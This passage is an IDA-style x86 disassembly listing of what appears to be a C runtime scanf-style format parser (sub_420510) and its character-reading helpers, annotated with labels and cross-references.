-20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1C4h and [ebp+var_15], 0 push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx push edi mov al, [esi] mov [ebp+var_4], ebx test al, al mov [ebp+var_34], ebx jz loc_420F16 mov edi, [ebp+arg_0] jmp short loc_42053F ; --------------------------------------------------------------------------- loc_42053A: ; CODE XREF: sub_420510+9CEj mov edi, [ebp+arg_0] xor ebx, ebx loc_42053F: ; CODE XREF: sub_420510+28j cmp dword_43CBE4, 1 jle short loc_420557 movzx eax, al push 8 push eax call sub_41F515 pop ecx pop ecx jmp short loc_420566 ; --------------------------------------------------------------------------- loc_420557: ; CODE XREF: sub_420510+36j mov ecx, off_43C9D8 movzx eax, al mov al, [ecx+eax*2] and eax, 8 loc_420566: ; CODE XREF: sub_420510+45j cmp eax, ebx jz short loc_4205A0 dec [ebp+var_4] push edi lea eax, [ebp+var_4] push edi push eax call sub_420F9D pop ecx pop ecx push eax call sub_420F86 movzx eax, byte ptr [esi+1] inc esi push eax call sub_41D670 add esp, 0Ch loc_42058E: ; CODE XREF: sub_420510+8Ej test eax, eax jz short loc_4205A0 movzx eax, byte ptr [esi+1] inc esi push eax call sub_41D670 pop ecx jmp short loc_42058E ; --------------------------------------------------------------------------- loc_4205A0: ; CODE XREF: sub_420510+58j ; sub_420510+80j cmp byte ptr [esi], 25h jnz loc_420E82 and [ebp+var_35], 0 and [ebp+var_18], 0 and [ebp+var_17], 0 and [ebp+var_E], 0 and [ebp+var_F], 0 and [ebp+var_16], 0 xor edi, edi and [ebp+var_5], 0 mov [ebp+var_1C], ebx mov [ebp+var_20], ebx mov [ebp+var_C], ebx mov [ebp+var_D], 1 mov [ebp+var_30], ebx loc_4205D7: ; CODE XREF: sub_420510+172j movzx ebx, byte ptr [esi+1] inc esi cmp dword_43CBE4, 1 jle short loc_4205F4 movzx eax, bl push 4 push eax call sub_41F515 pop ecx pop ecx jmp short loc_420603 ; --------------------------------------------------------------------------- loc_4205F4: ; CODE XREF: sub_420510+D3j mov ecx, off_43C9D8 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_420603: ; CODE XREF: sub_420510+E2j test eax, eax jz short loc_420619 mov eax, [ebp+var_C] inc [ebp+var_20] lea eax, [eax+eax*4] lea eax, [ebx+eax*2-30h] mov [ebp+var_C], eax jmp short loc_42067E ; --------------------------------------------------------------------------- loc_420619: ; CODE XREF: sub_420510+F5j cmp ebx, 4Eh jg short loc_42065C jz short loc_42067E cmp ebx, 2Ah jz short loc_420657 cmp ebx, 46h jz short loc_42067E cmp ebx, 49h jz short loc_420639 cmp ebx, 4Ch jnz short loc_42066B inc [ebp+var_D] jmp short loc_42067E ; --------------------------------------------------------------------------- loc_420639: ; CODE XREF: sub_420510+11Dj cmp byte ptr [esi+1], 36h jnz short loc_42066B cmp byte ptr [esi+2], 34h lea eax, [esi+2] jnz short loc_42066B inc [ebp+var_30] and [ebp+var_28], 0 and [ebp+var_24], 0 mov esi, eax jmp short loc_42067E ; --------------------------------------------------------------------------- loc_420657: ; CODE XREF: sub_420510+113j inc [ebp+var_E] jmp short loc_42067E ; --------------------------------------------------------------------------- loc_42065C: ; CODE XREF: sub_420510+10Cj cmp ebx, 68h jz short loc_420678 cmp ebx, 6Ch jz short loc_420670 cmp ebx, 77h jz short loc_420673 loc_42066B: ; CODE XREF: sub_420510+122j ; sub_420510+12Dj ... inc [ebp+var_F] jmp short loc_42067E ; --------------------------------------------------------------------------- loc_420670: ; CODE XREF: sub_420510+154j inc [ebp+var_D] loc_420673: ; CODE XREF: sub_420510+159j inc [ebp+var_5] jmp short loc_42067E ; --------------------------------------------------------------------------- loc_420678: ; CODE XREF: sub_420510+14Fj dec [ebp+var_D] dec [ebp+var_5] loc_42067E: ; CODE XREF: sub_420510+107j ; sub_420510+10Ej ... cmp [ebp+var_F], 0 jz loc_4205D7 cmp [ebp+var_E], 0 mov [ebp+arg_4], esi jnz short loc_4206A3 mov eax, [ebp+arg_8] mov [ebp+var_44], eax add eax, 4 mov [ebp+arg_8], eax mov eax, [eax-4] mov [ebp+var_2C], eax loc_4206A3: ; CODE XREF: sub_420510+17Fj and [ebp+var_F], 0 cmp [ebp+var_5], 0 jnz short loc_4206C1 mov al, [esi] cmp al, 53h jz short loc_4206BD cmp al, 43h jz short loc_4206BD or [ebp+var_5], 0FFh jmp short loc_4206C1 ; --------------------------------------------------------------------------- loc_4206BD: ; CODE XREF: sub_420510+1A1j ; sub_420510+1A5j mov [ebp+var_5], 1 loc_4206C1: ; CODE XREF: sub_420510+19Bj ; sub_420510+1ABj mov ebx, [ebp+arg_4] movzx esi, byte ptr [ebx] or esi, 20h cmp esi, 6Eh mov [ebp+var_3C], esi jz short loc_4206FA cmp esi, 63h jz short loc_4206EB cmp esi, 7Bh jz short loc_4206EB push [ebp+arg_0] lea eax, [ebp+var_4] push eax call sub_420F9D pop ecx jmp short loc_4206F6 ; --------------------------------------------------------------------------- loc_4206EB: ; CODE XREF: sub_420510+1C5j ; sub_420510+1CAj push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C loc_4206F6: ; CODE XREF: sub_420510+1D9j pop ecx mov [ebp+var_14], eax loc_4206FA: ; CODE XREF: sub_420510+1C0j xor eax, eax cmp [ebp+var_20], eax jz short loc_42070A cmp [ebp+var_C], eax jz loc_420EE6 loc_42070A: ; CODE XREF: sub_420510+1EFj cmp esi, 6Fh jg loc_420971 jz loc_420C23 cmp esi, 63h jz loc_42094E cmp esi, 64h jz loc_420C23 jle loc_42099B cmp esi, 67h jle short loc_42076E cmp esi, 69h jz short loc_420756 cmp esi, 6Eh jnz loc_42099B cmp [ebp+var_E], 0 mov edi, [ebp+var_4] jz loc_420E51 jmp loc_420E77 ; --------------------------------------------------------------------------- loc_420756: ; CODE XREF: sub_420510+229j push 64h pop esi loc_420759: ; CODE XREF: sub_420510+480j mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz loc_4209E3 mov [ebp+var_17], 1 jmp loc_4209E8 ; --------------------------------------------------------------------------- loc_42076E: ; CODE XREF: sub_420510+224j mov ebx, [ebp+var_14] lea esi, [ebp+var_1C4] cmp ebx, 2Dh jnz short loc_42078A mov [ebp+var_1C4], bl lea esi, [ebp+var_1C3] jmp short loc_42078F ; --------------------------------------------------------------------------- loc_42078A: ; CODE XREF: sub_420510+26Aj cmp ebx, 2Bh jnz short loc_4207A6 loc_42078F: ; CODE XREF: sub_420510+278j mov edi, [ebp+arg_0] dec [ebp+var_C] inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_4207A9 ; --------------------------------------------------------------------------- loc_4207A6: ; CODE XREF: sub_420510+27Dj mov edi, [ebp+arg_0] loc_4207A9: ; CODE XREF: sub_420510+294j cmp [ebp+var_20], 0 jz short loc_4207B8 cmp [ebp+var_C], 15Dh jle short loc_4207BF loc_4207B8: ; CODE XREF: sub_420510+29Dj mov [ebp+var_C], 15Dh loc_4207BF: ; CODE XREF: sub_420510+2A6j ; sub_420510+2F2j cmp dword_43CBE4, 1 jle short loc_4207D4 push 4 push ebx call sub_41F515 pop ecx pop ecx jmp short loc_4207DF ; --------------------------------------------------------------------------- loc_4207D4: ; CODE XREF: sub_420510+2B6j mov eax, off_43C9D8 mov al, [eax+ebx*2] and eax, 4 loc_4207DF: ; CODE XREF: sub_420510+2C2j test eax, eax jz short loc_420804 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_420804 inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_4207BF ; --------------------------------------------------------------------------- loc_420804: ; CODE XREF: sub_420510+2D1j ; sub_420510+2DBj cmp byte_43CBE8, bl jnz short loc_420872 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_420872 inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax mov al, byte_43CBE8 mov [esi], al pop ecx mov [ebp+var_14], ebx inc esi loc_42082D: ; CODE XREF: sub_420510+360j cmp dword_43CBE4, 1 jle short loc_420842 push 4 push ebx call sub_41F515 pop ecx pop ecx jmp short loc_42084D ; --------------------------------------------------------------------------- loc_420842: ; CODE XREF: sub_420510+324j mov eax, off_43C9D8 mov al, [eax+ebx*2] and eax, 4 loc_42084D: ; CODE XREF: sub_420510+330j test eax, eax jz short loc_420872 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_420872 inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_42082D ; --------------------------------------------------------------------------- loc_420872: ; CODE XREF: sub_420510+2FAj ; sub_420510+304j ... cmp [ebp+var_1C], 0 jz loc_42090A cmp ebx, 65h jz short loc_42088A cmp ebx, 45h jnz loc_42090A loc_42088A: ; CODE XREF: sub_420510+36Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_42090A mov byte ptr [esi], 65h inc esi inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax pop ecx cmp ebx, 2Dh mov [ebp+var_14], ebx jnz short loc_4208B1 mov [esi], al inc esi jmp short loc_4208B6 ; --------------------------------------------------------------------------- loc_4208B1: ; CODE XREF: sub_420510+39Aj cmp ebx, 2Bh jnz short loc_4208D4 loc_4208B6: ; CODE XREF: sub_420510+39Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jnz short loc_4208C5 and [ebp+var_C], eax jmp short loc_4208D4 ; --------------------------------------------------------------------------- loc_4208C5: ; CODE XREF: sub_420510+3AEj ; sub_420510+3F8j inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_4208D4: ; CODE XREF: sub_420510+3A4j ; sub_420510+3B3j cmp dword_43CBE4, 1 jle short loc_4208E9 push 4 push ebx call sub_41F515 pop ecx pop ecx jmp short loc_4208F4 ; --------------------------------------------------------------------------- loc_4208E9: ; CODE XREF: sub_420510+3CBj mov eax, off_43C9D8 mov al, [eax+ebx*2] and eax, 4 loc_4208F4: ; CODE XREF: sub_420510+3D7j test eax, eax jz short loc_42090A mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_42090A inc [ebp+var_1C] mov [esi], bl inc esi jmp short loc_4208C5 ; --------------------------------------------------------------------------- loc_42090A: ; CODE XREF: sub_420510+366j ; sub_420510+374j ... dec [ebp+var_4] push edi push ebx call sub_420F86 cmp [ebp+var_1C], 0 pop ecx pop ecx jz loc_420F16 cmp [ebp+var_E], 0 jnz loc_420E77 inc [ebp+var_34] and byte ptr [esi], 0 lea eax, [ebp+var_1C4] push eax movsx eax, [ebp+var_D] push [ebp+var_2C] dec eax push eax call off_43CF88 add esp, 0Ch jmp loc_420E77 ; --------------------------------------------------------------------------- loc_42094E: ; CODE XREF: sub_420510+20Cj cmp [ebp+var_20], eax jnz short loc_42095D inc [ebp+var_C] mov [ebp+var_20], 1 loc_42095D: ; CODE XREF: sub_420510+441j cmp [ebp+var_5], 0 jle short loc_420967 mov [ebp+var_16], 1 loc_420967: ; CODE XREF: sub_420510+451j mov edi, offset dword_43CE60 jmp loc_420A7C ; --------------------------------------------------------------------------- loc_420971: ; CODE XREF: sub_420510+1FDj mov eax, esi sub eax, 70h jz loc_420C1F sub eax, 3 jz loc_420A6D dec eax dec eax jz loc_420C23 sub eax, 3 jz loc_420759 sub eax, 3 jz short loc_4209BF loc_42099B: ; CODE XREF: sub_420510+21Bj ; sub_420510+22Ej movzx eax, byte ptr [ebx] cmp eax, [ebp+var_14] jnz loc_420EE6 dec [ebp+var_15] cmp [ebp+var_E], 0 jnz loc_420E77 mov eax, [ebp+var_44] mov [ebp+arg_8], eax jmp loc_420E77 ; --------------------------------------------------------------------------- loc_4209BF: ; CODE XREF: sub_420510+489j cmp [ebp+var_5], 0 jle short loc_4209C9 mov [ebp+var_16], 1 loc_4209C9: ; CODE XREF: sub_420510+4B3j mov edi, [ebp+arg_4] inc edi mov [ebp+arg_4], edi cmp byte ptr [edi], 5Eh jnz loc_420A80 mov eax, edi lea edi, [eax+1] jmp loc_420A7C ; --------------------------------------------------------------------------- loc_4209E3: ; CODE XREF: sub_420510+24Fj cmp ebx, 2Bh jnz short loc_420A0A loc_4209E8: ; CODE XREF: sub_420510+259j dec [ebp+var_C] jnz short loc_4209F9 cmp [ebp+var_20], 0 jz short loc_4209F9 mov [ebp+var_F], 1 jmp short loc_420A0A ; --------------------------------------------------------------------------- loc_4209F9: ; CODE XREF: sub_420510+4DBj ; sub_420510+4E1j push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_420A0A: ; CODE XREF: sub_420510+4D6j ; sub_420510+4E7j cmp ebx, 30h jnz loc_420C58 push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C mov ebx, eax pop ecx cmp bl, 78h mov [ebp+var_14], ebx jz short loc_420A58 cmp bl, 58h jz short loc_420A58 cmp esi, 78h mov [ebp+var_1C], 1 jz short loc_420A42 push 6Fh loc_420A3C: ; CODE XREF: sub_420510+55Bj pop esi jmp loc_420C58 ; --------------------------------------------------------------------------- loc_420A42: ; CODE XREF: sub_420510+528j push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_420F86 pop ecx pop ecx push 30h pop ebx jmp loc_420C55 ; --------------------------------------------------------------------------- loc_420A58: ; CODE XREF: sub_420510+517j ; sub_420510+51Cj push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C pop ecx mov ebx, eax mov [ebp+var_14], ebx push 78h jmp short loc_420A3C ; --------------------------------------------------------------------------- loc_420A6D: ; CODE XREF: sub_420510+46Fj cmp [ebp+var_5], 0 jle short loc_420A77 mov [ebp+var_16], 1 loc_420A77: ; CODE XREF: sub_420510+561j mov edi, offset dword_43CE58 loc_420A7C: ; CODE XREF: sub_420510+45Cj ; sub_420510+4CEj or [ebp+var_18], 0FFh loc_420A80: ; CODE XREF: sub_420510+4C3j push 20h lea eax, [ebp+var_64] push 0 push eax call sub_41B590 add esp, 0Ch cmp [ebp+var_3C], 7Bh jnz short loc_420AA4 cmp byte ptr [edi], 5Dh jnz short loc_420AA4 mov dl, 5Dh inc edi mov [ebp+var_59], 20h jmp short loc_420AA7 ; --------------------------------------------------------------------------- loc_420AA4: ; CODE XREF: sub_420510+584j ; sub_420510+589j mov dl, [ebp+var_35] loc_420AA7: ; CODE XREF: sub_420510+592j ; sub_420510+5E1j ... mov al, [edi] cmp al, 5Dh jz short loc_420B0C inc edi cmp al, 2Dh jnz short loc_420AF3 test dl, dl jz short loc_420AF3 mov cl, [edi] cmp cl, 5Dh jz short loc_420AF3 inc edi cmp dl, cl jnb short loc_420AC6 mov al, cl jmp short loc_420ACA ; --------------------------------------------------------------------------- loc_420AC6: ; CODE XREF: sub_420510+5B0j mov al, dl mov dl, cl loc_420ACA: ; CODE XREF: sub_420510+5B4j cmp dl, al ja short loc_420AEF movzx edx, dl movzx esi, al sub esi, edx inc esi loc_420AD7: ; CODE XREF: sub_420510+5DDj mov ecx, edx mov eax, edx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl inc edx dec esi jnz short loc_420AD7 loc_420AEF: ; CODE XREF: sub_420510+5BCj xor dl, dl jmp short loc_420AA7 ; --------------------------------------------------------------------------- loc_420AF3: ; CODE XREF: sub_420510+5A0j ; sub_420510+5A4j ... movzx ecx, al mov dl, al mov eax, ecx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl jmp short loc_420AA7 ; --------------------------------------------------------------------------- loc_420B0C: ; CODE XREF: sub_420510+59Bj cmp byte ptr [edi], 0 jz loc_420F16 cmp [ebp+var_3C], 7Bh jnz short loc_420B1E mov [ebp+arg_4], edi loc_420B1E: ; CODE XREF: sub_420510+609j mov edi, [ebp+arg_0] mov esi, [ebp+var_2C] dec [ebp+var_4] push edi push [ebp+var_14] mov [ebp+var_30], esi call sub_420F86 pop ecx pop ecx loc_420B35: ; CODE XREF: sub_420510+6BCj ; sub_420510+6C4j cmp [ebp+var_20], 0 jz short loc_420B49 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz loc_420BE5 loc_420B49: ; CODE XREF: sub_420510+629j inc [ebp+var_4] push edi call sub_420F6C cmp eax, 0FFFFFFFFh pop ecx mov [ebp+var_14], eax jz short loc_420BD9 mov ecx, eax push 1 and ecx, 7 pop edx movsx ebx, [ebp+var_18] shl edx, cl mov ecx, eax sar ecx, 3 movsx ecx, [ebp+ecx+var_64] xor ecx, ebx test edx, ecx jz short loc_420BD9 cmp [ebp+var_E], 0 jnz short loc_420BD1 cmp [ebp+var_16], 0 jz short loc_420BC6 mov ecx, off_43C9D8 mov [ebp+var_38], al movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_420BA5 inc [ebp+var_4] push edi call sub_420F6C pop ecx mov [ebp+var_37], al loc_420BA5: ; CODE XREF: sub_420510+686j push dword_43CBE4 lea eax, [ebp+var_38] push eax lea eax, [ebp+var_3E] push eax call sub_423EC3 mov ax, [ebp+var_3E] add esp, 0Ch mov [esi], ax inc esi inc esi jmp short loc_420BC9 ; --------------------------------------------------------------------------- loc_420BC6: ; CODE XREF: sub_420510+673j mov [esi], al inc esi loc_420BC9: ; CODE XREF: sub_420510+6B4j mov [ebp+var_2C], esi jmp loc_420B35 ; --------------------------------------------------------------------------- loc_420BD1: ; CODE XREF: sub_420510+66Dj inc [ebp+var_30] jmp loc_420B35 ; --------------------------------------------------------------------------- loc_420BD9: ; CODE XREF: sub_420510+649j ; sub_420510+667j dec [ebp+var_4] push edi push eax call sub_420F86 pop ecx pop ecx loc_420BE5: ; CODE XREF: sub_420510+633j cmp [ebp+var_30], esi jz loc_420F16 cmp [ebp+var_E], 0 jnz loc_420E77 inc [ebp+var_34] cmp [ebp+var_3C], 63h jz loc_420E77 cmp [ebp+var_16], 0 mov eax, [ebp+var_2C] jz short loc_420C17 and word ptr [eax], 0 jmp loc_420E77 ; --------------------------------------------------------------------------- loc_420C17: ; CODE XREF: sub_420510+6FCj and byte ptr [eax], 0 jmp loc_420E77 ; --------------------------------------------------------------------------- loc_420C1F: ; CODE XREF: sub_420510+466j mov [ebp+var_D], 1 loc_420C23: ; CODE XREF: sub_420510+203j ; sub_420510+215j ... mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz short loc_420C31 mov [ebp+var_17], 1 jmp short loc_420C36 ; --------------------------------------------------------------------------- loc_420C31: ; CODE XREF: sub_420510+719j cmp ebx, 2Bh jnz short loc_420C58 loc_420C36: ; CODE XREF: sub_420510+71Fj dec [ebp+var_C] jnz short loc_420C47 cmp [ebp+var_20], 0 jz short loc_420C47 mov [ebp+var_F], 1 jmp short loc_420C58 ; --------------------------------------------------------------------------- loc_420C47: ; CODE XREF: sub_420510+729j ; sub_420510+72Fj push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C pop ecx mov ebx, eax loc_420C55: ; CODE XREF: sub_420510+543j mov [ebp+var_14], ebx loc_420C58: ; CODE XREF: sub_420510+4FDj ; sub_420510+52Dj ... cmp [ebp+var_30], 0 jz loc_420D71 cmp [ebp+var_F], 0 jnz loc_420D4F loc_420C6C: ; CODE XREF: sub_420510+82Cj cmp esi, 78h jnz short loc_420CC0 cmp dword_43CBE4, 1 jle short loc_420C89 push 80h push ebx call sub_41F515 pop ecx pop ecx jmp short loc_420C96 ; --------------------------------------------------------------------------- loc_420C89: ; CODE XREF: sub_420510+768j mov eax, off_43C9D8 mov al, [eax+ebx*2] and eax, 80h loc_420C96: ; CODE XREF: sub_420510+777j test eax, eax jz loc_420D41 mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 4 pop ecx call sub_423F90 push ebx mov [ebp+var_28], eax mov [ebp+var_24], edx call sub_420F35 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_420D13 ; --------------------------------------------------------------------------- loc_420CC0: ; CODE XREF: sub_420510+75Fj cmp dword_43CBE4, 1 jle short loc_420CD5 push 4 push ebx call sub_41F515 pop ecx pop ecx jmp short loc_420CE0 ; --------------------------------------------------------------------------- loc_420CD5: ; CODE XREF: sub_420510+7B7j mov eax, off_43C9D8 mov al, [eax+ebx*2] and eax, 4 loc_420CE0: ; CODE XREF: sub_420510+7C3j test eax, eax jz short loc_420D41 cmp esi, 6Fh jnz short loc_420CFE cmp ebx, 38h jge short loc_420D41 mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 3 pop ecx call sub_423F90 jmp short loc_420D0D ; --------------------------------------------------------------------------- loc_420CFE: ; CODE XREF: sub_420510+7D7j push 0 push 0Ah push [ebp+var_24] push [ebp+var_28] call sub_41D280 loc_420D0D: ; CODE XREF: sub_420510+7ECj mov [ebp+var_28], eax mov [ebp+var_24], edx loc_420D13: ; CODE XREF: sub_420510+7AEj inc [ebp+var_1C] lea eax, [ebx-30h] cdq add [ebp+var_28], eax adc [ebp+var_24], edx cmp [ebp+var_20], 0 jz short loc_420D2B dec [ebp+var_C] jz short loc_420D4F loc_420D2B: ; CODE XREF: sub_420510+814j push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_420C6C ; --------------------------------------------------------------------------- loc_420D41: ; CODE XREF: sub_420510+788j ; sub_420510+7D2j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_420F86 pop ecx pop ecx loc_420D4F: ; CODE XREF: sub_420510+756j ; sub_420510+819j cmp [ebp+var_17], 0 jz loc_420E35 mov eax, [ebp+var_28] mov ecx, [ebp+var_24] neg eax adc ecx, 0 mov [ebp+var_28], eax neg ecx mov [ebp+var_24], ecx jmp loc_420E35 ; --------------------------------------------------------------------------- loc_420D71: ; CODE XREF: sub_420510+74Cj cmp [ebp+var_F], 0 jnz loc_420E2D loc_420D7B: ; CODE XREF: sub_420510+90Aj cmp esi, 78h jz short loc_420DBF cmp esi, 70h jz short loc_420DBF cmp dword_43CBE4, 1 jle short loc_420D9A push 4 push ebx call sub_41F515 pop ecx pop ecx jmp short loc_420DA5 ; --------------------------------------------------------------------------- loc_420D9A: ; CODE XREF: sub_420510+87Cj mov eax, off_43C9D8 mov al, [eax+ebx*2] and eax, 4 loc_420DA5: ; CODE XREF: sub_420510+888j test eax, eax jz short loc_420E1F cmp esi, 6Fh jnz short loc_420DB8 cmp ebx, 38h jge short loc_420E1F shl edi, 3 jmp short loc_420DF7 ; --------------------------------------------------------------------------- loc_420DB8: ; CODE XREF: sub_420510+89Cj lea edi, [edi+edi*4] shl edi, 1 jmp short loc_420DF7 ; --------------------------------------------------------------------------- loc_420DBF: ; CODE XREF: sub_420510+86Ej ; sub_420510+873j cmp dword_43CBE4, 1 jle short loc_420DD7 push 80h push ebx call sub_41F515 pop ecx pop ecx jmp short loc_420DE4 ; --------------------------------------------------------------------------- loc_420DD7: ; CODE XREF: sub_420510+8B6j mov eax, off_43C9D8 mov al, [eax+ebx*2] and eax, 80h loc_420DE4: ; CODE XREF: sub_420510+8C5j test eax, eax jz short loc_420E1F push ebx shl edi, 4 call sub_420F35 mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_420DF7: ; CODE XREF: sub_420510+8A6j ; sub_420510+8ADj inc [ebp+var_1C] cmp [ebp+var_20], 0 lea edi, [edi+ebx-30h] jz short loc_420E09 dec [ebp+var_C] jz short loc_420E2D loc_420E09: ; CODE XREF: sub_420510+8F2j push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_420D7B ; --------------------------------------------------------------------------- loc_420E1F: ; CODE XREF: sub_420510+897j ; sub_420510+8A1j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_420F86 pop ecx pop ecx loc_420E2D: ; CODE XREF: sub_420510+865j ; sub_420510+8F7j cmp [ebp+var_17], 0 jz short loc_420E35 neg edi loc_420E35: ; CODE XREF: sub_420510+843j ; sub_420510+85Cj ... cmp esi, 46h jnz short loc_420E3E and [ebp+var_1C], 0 loc_420E3E: ; CODE XREF: sub_420510+928j cmp [ebp+var_1C], 0 jz loc_420F16 cmp [ebp+var_E], 0 jnz short loc_420E77 inc [ebp+var_34] loc_420E51: ; CODE XREF: sub_420510+23Bj cmp [ebp+var_30], 0 jz short loc_420E67 mov eax, [ebp+var_2C] mov ecx, [ebp+var_28] mov [eax], ecx mov ecx, [ebp+var_24] mov [eax+4], ecx jmp short loc_420E77 ; --------------------------------------------------------------------------- loc_420E67: ; CODE XREF: sub_420510+945j cmp [ebp+var_D], 0 mov eax, [ebp+var_2C] jz short loc_420E74 mov [eax], edi jmp short loc_420E77 ; --------------------------------------------------------------------------- loc_420E74: ; CODE XREF: sub_420510+95Ej mov [eax], di loc_420E77: ; CODE XREF: sub_420510+241j ; sub_420510+414j ... inc [ebp+var_15] inc [ebp+arg_4] mov esi, [ebp+arg_4] jmp short loc_420EC4 ; --------------------------------------------------------------------------- loc_420E82: ; CODE XREF: sub_420510+93j inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax pop ecx movzx eax, byte ptr [esi] inc esi cmp eax, ebx mov [ebp+var_14], ebx mov [ebp+arg_4], esi jnz short loc_420EF1 mov ecx, off_43C9D8 movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_420EC4 inc [ebp+var_4] push edi call sub_420F6C pop ecx movzx ecx, byte ptr [esi] inc esi cmp ecx, eax mov [ebp+arg_4], esi jnz short loc_420EFF dec [ebp+var_4] loc_420EC4: ; CODE XREF: sub_420510+970j ; sub_420510+99Aj cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_420EDA cmp byte ptr [esi], 25h jnz short loc_420F1C mov eax, [ebp+arg_4] cmp byte ptr [eax+1], 6Eh jnz short loc_420F1C mov esi, eax loc_420EDA: ; CODE XREF: sub_420510+9B8j mov al, [esi] test al, al jnz loc_42053A jmp short loc_420F16 ; --------------------------------------------------------------------------- loc_420EE6: ; CODE XREF: sub_420510+1F4j ; sub_420510+491j push [ebp+arg_0] dec [ebp+var_4] push [ebp+var_14] jmp short loc_420EF6 ; --------------------------------------------------------------------------- loc_420EF1: ; CODE XREF: sub_420510+98Aj dec [ebp+var_4] push edi push ebx loc_420EF6: ; CODE XREF: sub_420510+9DFj call sub_420F86 pop ecx pop ecx jmp short loc_420F16 ; --------------------------------------------------------------------------- loc_420EFF: ; CODE XREF: sub_420510+9AFj dec [ebp+var_4] push edi push eax call sub_420F86 dec [ebp+var_4] push edi push ebx call sub_420F86 add esp, 10h loc_420F16: ; CODE XREF: sub_420510+1Fj ; sub_420510+40Aj ... cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_420F2D loc_420F1C: ; CODE XREF: sub_420510+9BDj ; sub_420510+9C6j mov eax, [ebp+var_34] test eax, eax jnz short loc_420F30 cmp [ebp+var_15], al jnz short loc_420F30 or eax, 0FFFFFFFFh jmp short loc_420F30 ; --------------------------------------------------------------------------- loc_420F2D: ; CODE XREF: sub_420510+A0Aj mov eax, [ebp+var_34] loc_420F30: ; CODE XREF: sub_420510+A11j ; sub_420510+A16j ... pop edi pop esi pop ebx leave retn sub_420510 endp ; =============== S U B R O U T I N E ======================================= sub_420F35 proc near ; CODE XREF: sub_420510+7A3p ; sub_420510+8DCp arg_0 = dword ptr 4 cmp dword_43CBE4, 1 push esi jle short loc_420F4F mov esi, [esp+4+arg_0] push 4 push esi call sub_41F515 pop ecx pop ecx jmp short loc_420F5E ; --------------------------------------------------------------------------- loc_420F4F: ; CODE XREF: sub_420F35+8j mov esi, [esp+4+arg_0] mov eax, off_43C9D8 mov al, [eax+esi*2] and eax, 4 loc_420F5E: ; CODE XREF: sub_420F35+18j test eax, eax jnz short loc_420F68 and esi, 0FFFFFFDFh sub esi, 7 loc_420F68: ; CODE XREF: sub_420F35+2Bj mov eax, esi pop esi retn sub_420F35 endp ; =============== S U B R O U T I N E ======================================= sub_420F6C proc near ; CODE XREF: sub_420510+1E1p ; sub_420510+289p ... arg_0 = dword ptr 4 mov edx, [esp+arg_0] dec dword ptr [edx+4] js short loc_420F7E mov ecx, [edx] movzx eax, byte ptr [ecx] inc ecx mov [edx], ecx retn ; --------------------------------------------------------------------------- loc_420F7E: ; CODE XREF: sub_420F6C+7j push edx call sub_41F043 pop ecx retn sub_420F6C endp ; =============== S U B R O U T I N E ======================================= sub_420F86 proc near ; CODE XREF: sub_420510+6Bp ; sub_420510+3FFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFFFh jz short locret_420F9C push [esp+arg_4] push [esp+4+arg_0] call sub_423FAF pop ecx pop ecx locret_420F9C: ; CODE XREF: sub_420F86+5j retn sub_420F86 endp ; =============== S U B R O U T I N E ======================================= sub_420F9D proc near ; CODE XREF: sub_420510+63p ; sub_420510+1D3p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi loc_420FA3: ; CODE XREF: sub_420F9D+1Dj push [esp+8+arg_4] inc dword ptr [esi] call sub_420F6C mov edi, eax push edi call sub_41D670 pop ecx test eax, eax pop ecx jnz short loc_420FA3 mov eax, edi pop edi pop esi 